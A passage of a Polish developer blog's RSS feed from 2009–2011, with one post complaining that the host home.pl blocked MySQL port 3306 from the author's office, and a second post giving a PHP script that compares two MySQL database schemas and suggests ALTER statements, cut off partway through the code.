<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>nobigwords.ntxt.net &#187; www</title>
	<atom:link href="http://nobigwords.ntxt.net/tag/www/feed/" rel="self" type="application/rss+xml" />
	<link>http://nobigwords.ntxt.net</link>
	<description>not too big words not only about web</description>
	<lastBuildDate>Thu, 08 Dec 2011 23:35:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>polityka bezpieczeństwa home.pl</title>
		<link>http://nobigwords.ntxt.net/2010/02/08/polityka-bezpieczenstwa-homepl/</link>
		<comments>http://nobigwords.ntxt.net/2010/02/08/polityka-bezpieczenstwa-homepl/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 21:29:44 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[3306]]></category>
		<category><![CDATA[baza danych]]></category>
		<category><![CDATA[home.pl]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[połączenie]]></category>
		<category><![CDATA[port 3306]]></category>
		<category><![CDATA[problem]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[zablokowany]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=266</guid>
		<description><![CDATA[Robiąc &#8220;w internecie&#8221; spotyka się człowiek z hostingiem. No karma taka, nie da się bez hostingu żyć i kropka. Przeżyłem więc już doświadczenia z DMKProject (było fajne, ale wyniosło się do USA i ma długi czas pinga), z nazwa.pl (jedno konto FTP), kei.pl (straszny panel administracyjny), wreszcie home.pl (nie można mieć dwóch osobnych skrzynek pocztowych [...]]]></description>
			<content:encoded><![CDATA[<p>Robiąc &#8220;w internecie&#8221; spotyka się człowiek z hostingiem. No karma taka, nie da się bez hostingu żyć i kropka. Przeżyłem więc już doświadczenia z DMKProject (było fajne, ale wyniosło się do USA i ma długi czas pinga), z nazwa.pl (jedno konto FTP), kei.pl (straszny panel administracyjny), wreszcie home.pl (nie można mieć dwóch osobnych skrzynek pocztowych o tej samej nazwie &#8211; np. biuro@ &#8211; w obrębie jednego konta dla dwóch domen). Każda z tych ofert ma swoje wady i zalety. Zalety są w sumie podobne &#8211; każda z nich zwykle szybko, fachowo i pozytywnie reagowała na moje pytania i prośby. Jednak ostatnio home.pl trochę mnie zdziwiło.</p>
<p>Dla jednej ze stron potrzebowaliśmy połączenia bezpośredniego dla MySQL, na porcie 3306, do synchronizacji bazy z lokalną w biurze. Działało. Aż pewnego dnia admin home.pl stwierdził duży ruch na tym porcie z naszego adresu. Zablokował więc ten ruch &#8220;ze względów bezpieczeństwa&#8221;. Co ciekawe, nadal można się połączyć z dowolnego innego IP. Z mojego punktu widzenia zablokowany został adres najbardziej uprawniony do generowania ruchu, a pozostawiono otwarte połączenie z resztą świata, pełną złoczyńców i pedofilów&#8230; ;-) Teraz więc synchronizacja odbywa się z laptopa przez neostradę, a sens operacji pozostaje dla mnie tajemnicą.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2010/02/08/polityka-bezpieczenstwa-homepl/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>porównywanie baz MySQL w PHP</title>
		<link>http://nobigwords.ntxt.net/2009/09/26/porownywanie-baz-mysql-w-php/</link>
		<comments>http://nobigwords.ntxt.net/2009/09/26/porownywanie-baz-mysql-w-php/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 18:26:32 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[compare]]></category>
		<category><![CDATA[compare database]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database diff]]></category>
		<category><![CDATA[dbdiff]]></category>
		<category><![CDATA[diff]]></category>
		<category><![CDATA[programowanie]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[synchronizacja]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=264</guid>
		<description><![CDATA[Często przy pracy nad aplikacjami z bazą SQL zdarza się sytuacja, kiedy baza &#8216;deweloperska&#8217; uległa nieudokumentowanym dokładnie zmianom, i wreszcie trzeba je wdrożyć w wersji produkcyjnej. Oczywiście lepiej byłoby prowadzić dziennik zmian :) Kiedy jednak już jest za późno, przydaje się poniższy skrypt do porównywania baz. Wychwytuje on różnice na poziomie definicji tabel i pól, [...]]]></description>
			<content:encoded><![CDATA[<p>Często przy pracy nad aplikacjami z bazą SQL zdarza się sytuacja, kiedy baza &#8216;deweloperska&#8217; uległa nieudokumentowanym dokładnie zmianom, i wreszcie trzeba je wdrożyć w wersji produkcyjnej. Oczywiście lepiej byłoby prowadzić dziennik zmian :) Kiedy jednak już jest za późno, przydaje się poniższy skrypt do porównywania baz. Wychwytuje on różnice na poziomie definicji tabel i pól, proponując stosowne polecenia typu CREATE, ALTER, itp. Propozycje te nie są doskonałe, trzeba zwracać uwagę zwłaszcza na klucze i wartości domyślne, ale na pewno ułatwia synchronizację.</p>
<p>Skrypt napisany na podstawie <a href="http://adamyoung.net/MySQL-Database-Diff-Script">MySQL Database Diff Script</a>, ale znacznie rozszerzony i zmodyfikowany. Enjoy! :)</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>html<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>head<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>style<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">.</span>deleted<span style="color: #009900;">&#123;</span>
	text<span style="color: #339933;">-</span>decoration<span style="color: #339933;">:</span>line<span style="color: #339933;">-</span>through<span style="color: #339933;">;</span>
	color<span style="color: #339933;">:</span>red<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">.</span>added<span style="color: #009900;">&#123;</span>
	color<span style="color: #339933;">:</span>green<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">&lt;/</span>style<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>head<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>body<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span> ?php
<span style="color: #009933; font-style: italic;">/**
 * original by Adam Young http://adamyoung.net/
 * modified and extended 2009-09-26 by ptrk http://nobigwords.ntxt.net/ 
 * 
 */</span>
<span style="color: #000088;">$src_host</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$src_user</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$src_pass</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$src_db</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'baza32_superskl_emisja'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$dst_host</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dst_user</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'root'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dst_pass</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$dst_db</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'baza32_superskl'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$src</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$src_host</span><span style="color: #339933;">,</span> <span style="color: #000088;">$src_user</span><span style="color: #339933;">,</span> <span style="color: #000088;">$src_pass</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$src_db</span><span style="color: #339933;">,</span> <span style="color: #000088;">$src</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Could not find/USE source database: <span style="color: #006699; font-weight: bold;">{$src_db}</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$src_tables</span> <span style="color: #339933;">=</span> getTables<span style="color: #009900;">&#40;</span><span style="color: #000088;">$src</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #000088;">$dst</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_host</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst_user</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst_pass</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_db</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Could not find/USE destination database: <span style="color: #006699; font-weight: bold;">{$dst_db}</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$dst_tables</span> <span style="color: #339933;">=</span> getTables<span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$src_tables</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$t</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$table</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$found</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$dst_table</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dst_tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$diff</span> <span style="color: #339933;">=</span> compareDefinitions<span style="color: #009900;">&#40;</span><span style="color: #000088;">$table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">definition</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dst_table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">definition</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$diff</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$table-&gt;name}</span>&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;b&gt;<span style="color: #006699; font-weight: bold;">{$table-&gt;name}</span> is different&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$alters</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$diff</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$col</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;li&gt;<span style="color: #006699; font-weight: bold;">$col</span> : &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;&lt;/li&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$alters</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;alter table `&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$dst_table</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;` &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$info</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #009900;">&#125;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;/ul&gt;'</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;gt;pre&amp;lt;&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$alters</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; &amp;gt;/pre&amp;lt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dst_tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$found</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;span class='deleted'&gt;<span style="color: #006699; font-weight: bold;">{$table-&gt;name}</span> &lt;/span&gt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;gt;pre&amp;lt;<span style="color: #006699; font-weight: bold;">{$table-&gt;create}</span>&amp;gt;/pre&amp;lt;&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> getTables<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$rsrc</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SHOW TABLES'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$tables</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_row</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rsrc</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$table</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> table<span style="color: #009900;">&#40;</span>
			<span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>
			getTableDef<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
			getTableCreate<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$tables</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$table</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$tables</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> getTableDef<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$table</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$rsrc</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;DESCRIBE `<span style="color: #006699; font-weight: bold;">{$table}</span>`&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_row</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rsrc</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$type</span><span style="color: #339933;">,</span> <span style="color: #000088;">$null</span><span style="color: #339933;">,</span> <span style="color: #000088;">$key</span><span style="color: #339933;">,</span> <span style="color: #000088;">$default</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extra</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$row</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$name</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$type</span><span style="color: #339933;">,</span> <span style="color: #000088;">$null</span><span style="color: #339933;">,</span> <span style="color: #000088;">$key</span><span style="color: #339933;">,</span> <span style="color: #000088;">$default</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extra</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> getTableCreate<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #339933;">,</span> <span style="color: #000088;">$table</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$rsrc</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SHOW CREATE TABLE `<span style="color: #006699; font-weight: bold;">{$table}</span>`&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_row</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$rsrc</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$row</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> table <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$definition</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$create</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">function</span> table<span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$def</span><span style="color: #339933;">,</span> <span style="color: #000088;">$create</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$name</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">definition</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$def</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">create</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$create</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> compareDefinitions<span style="color: #009900;">&#40;</span><span style="color: #000088;">$defA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defB</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defA</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$col</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$colDefA</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;span class='deleted'&gt;deleted &lt;/span&gt;&quot;</span><span style="color: #339933;">;</span>
			<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;drop column `&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$col</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;`&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">','</span><span style="color: #339933;">,</span><span style="color: #000088;">$colDefA</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">','</span><span style="color: #339933;">,</span><span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
&nbsp;
				<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$nullA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$keyA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defaultA</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extraA</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$colDefA</span><span style="color: #339933;">;</span>
				<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$nullB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$keyB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defaultB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extraB</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$info</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$typeB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;different type <span style="color: #006699; font-weight: bold;">$typeA</span>/<span style="color: #006699; font-weight: bold;">$typeB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$nullA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$nullB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;null <span style="color: #006699; font-weight: bold;">$nullA</span>/<span style="color: #006699; font-weight: bold;">$nullB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$keyA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$keyB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;key: <span style="color: #006699; font-weight: bold;">$keyA</span>/<span style="color: #006699; font-weight: bold;">$keyB</span>, &quot;</span><span style="color: #339933;">;</span>
